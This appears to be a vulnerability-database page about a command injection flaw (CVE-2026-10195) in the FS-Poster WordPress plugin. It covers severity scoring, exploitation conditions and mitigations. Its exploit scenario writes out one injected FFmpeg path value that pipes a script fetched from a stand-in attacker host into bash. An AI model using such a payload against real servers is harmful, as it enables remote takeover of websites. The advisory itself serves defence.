Skip to main content

FS-Poster CVE-2026-10195

| EUVDEUVD-2026-69300 HIGH
Command Injection (CWE-77)
2026-09-01 Wordfence GHSA-rh2h-qvw2-pj57
8.8
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Register or obtain subscriber account
  2. Delivery
    Authenticate to WordPress REST API
  3. Exploit
    Submit malicious FFmpeg path to vulnerable endpoint
  4. Execution
    PHP exec() runs injected OS command
  5. Persist
    Execute arbitrary commands as web server user
  6. Impact
    Full server compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid WordPress account at subscriber level or above - the lowest default authenticated role. The vulnerable endpoint is part of the FS-Poster plugin's REST API, which must be accessible over the network (standard for WordPress REST API). The FFmpeg integration feature within the plugin must be present (it is part of the plugin's core functionality and enabled by default for media processing). There is no requirement for administrative access, plugin configuration changes by the attacker, or any user interaction from a privileged user. Exploitation is limited by the need for at least one authenticated session: sites with completely disabled user registration and no compromised accounts are not directly exposed to drive-by exploitation, but any site with open registration or existing low-privilege user accounts is at high risk.

Impact

The CVSS 3.1 score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects the risk profile: network-exploitable, low complexity, no user interaction, and full CIA impact. The only limiting factor is the requirement for a valid WordPress account (subscriber or above). In multi-tenant or membership WordPress environments - common for sites using a social media scheduler plugin - subscriber accounts may be freely registerable, effectively reducing this to near-unauthenticated exploitation in practice. No KEV listing means no confirmed active exploitation at time of analysis, and no EPSS score was provided to quantify exploitation probability. The absence of public POC data is a slight mitigating factor, but the straightforward nature of command injection via a path parameter makes independent exploitation highly feasible by a moderately skilled attacker. This should be treated as a real priority for any WordPress installation running FS-Poster with open user registration.

Exploit ScenarioDerived

An attacker registers a free subscriber account on the target WordPress site (or compromises an existing low-privilege credential), then sends a crafted HTTP POST request to the vulnerable FS-Poster REST API endpoint, supplying a malicious FFmpeg path value such as '/usr/bin/ffmpeg; curl attacker.com/shell.sh | bash' or a similar command-separator payload. Because the authorization check is missing and the path value is passed directly to exec(), the web server executes the injected command under the PHP process owner's privileges, granting the attacker a remote shell. No public POC has been identified, but the technique is elementary command injection requiring no special tooling.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 01, 2026

Remote code execution in the FS-Poster WordPress plugin (versions up to and including 8.0.1) allows any authenticated user with subscriber-level access to execute arbitrary OS commands on the underlying web server. The vulnerability combines two weaknesses: the FFmpeg path parameter accepted by the plugin's REST API is passed unsanitized to PHP's exec() function (CWE-77 command injection), and the REST API endpoints responsible for this functionality lack proper authorization checks. No public exploit code or CISA KEV listing has been identified at time of analysis, but the low privilege bar - a standard subscriber account - makes this accessible to any registered WordPress user.

RemediationAI

Update FS-Poster to a version above 8.0.1 as soon as a patched release is published by fs-code; check the vendor changelog at https://www.fs-poster.com/documentation/updates-changelogs for the exact fixed version. Note: a patched released version was not independently confirmed from the available data - verify a fix is tagged before updating. As an immediate compensating control, disable or restrict REST API access to authenticated routes if your environment does not require external REST API calls: add 'add_filter("rest_authentication_errors", ...)' logic or use a security plugin to block unauthenticated and low-privilege REST endpoint access. If FFmpeg integration is not actively used, disabling that feature within FS-Poster settings eliminates the vulnerable code path entirely. Additionally, disable open user registration on the WordPress site to prevent anonymous actors from obtaining subscriber-level accounts; this meaningfully raises the exploitation bar while a patch is pending.

Affected VersionsENISA

FS Poster - WordPress Social media Auto Poster & Scheduler [Facebook, Instagram, Twitter, Pinterest] 0 ≤8.0.1

Affected Packages

euvd fs_poster_wordpress_social_media_auto_poster_scheduler_facebook_instagram_twitter_pinterest no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

FS-Poster is a commercial WordPress plugin (vendor: fs-code) that automates social media posting across platforms including Facebook, Instagram, Twitter, and Pinterest; it integrates with FFmpeg for media processing. The affected code path accepts a user-supplied FFmpeg binary path via a REST API endpoint and passes it directly into PHP's exec() call without sanitization, a textbook CWE-77 (Improper Neutralization of Special Elements used in a Command) flaw. Compounding this, the REST API endpoint itself is missing authorization middleware, meaning WordPress role enforcement is bypassed - any authenticated session, even a default subscriber, can reach the vulnerable handler. The affected CPE is cpe:2.3:a:fs-code:fs_poster_-_wordpress_social_media_auto_poster_&_scheduler_[facebook,_instagram,_twitter,_pinterest]:*:*:*:*:*:*:*:* covering all versions through 8.0.1. Reported by Wordfence.

Know when Fs Poster Wordpress Social Media Auto Poster Scheduler Facebook Instagram Twitter Pinterest gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-accessible REST API, no complexity or interaction needed, subscriber-level auth required; full system impact via RCE matches C:H/I:H/A:H.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

The FS-Poster plugin for WordPress is vulnerable to Remote Code Execution in versions up to and including 8.0.1. This is due to insufficient input sanitization of the FFmpeg path parameter before passing it to the exec() function, combined with missing authorization checks on the REST API endpoints. This makes it possible for authenticated attackers, with subscriber-level access and above, to execute arbitrary commands on the underlying server.

Executive ViewAI

Why It Matters

FS-Poster WordPress plugin (versions through 8.0.1) contains a remote code execution vulnerability exploitable by any subscriber-level user, enabling arbitrary OS command execution on web servers hosting the plugin. Without a vendor patch available, organizations using this plugin face immediate risk of complete server compromise, data exfiltration, and service disruption.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable FS-Poster plugin immediately; (2) Apply WAF rules to block /wp-json/fsposter/* endpoints and require authentication at network layer; (3) Restrict WordPress subscriber account provisioning to administrators only and audit existing accounts; (4) Monitor server execution logs and WordPress audit trails for command injection attempts; (5) Segment web server process to limit shell command execution capabilities.

Threat Intelligence Overview

EPSS Score
0.6%
Top 55% exploitable
Prevalence
Low
commercial premium WordPress plugin, niche social media scheduler market
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.6%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy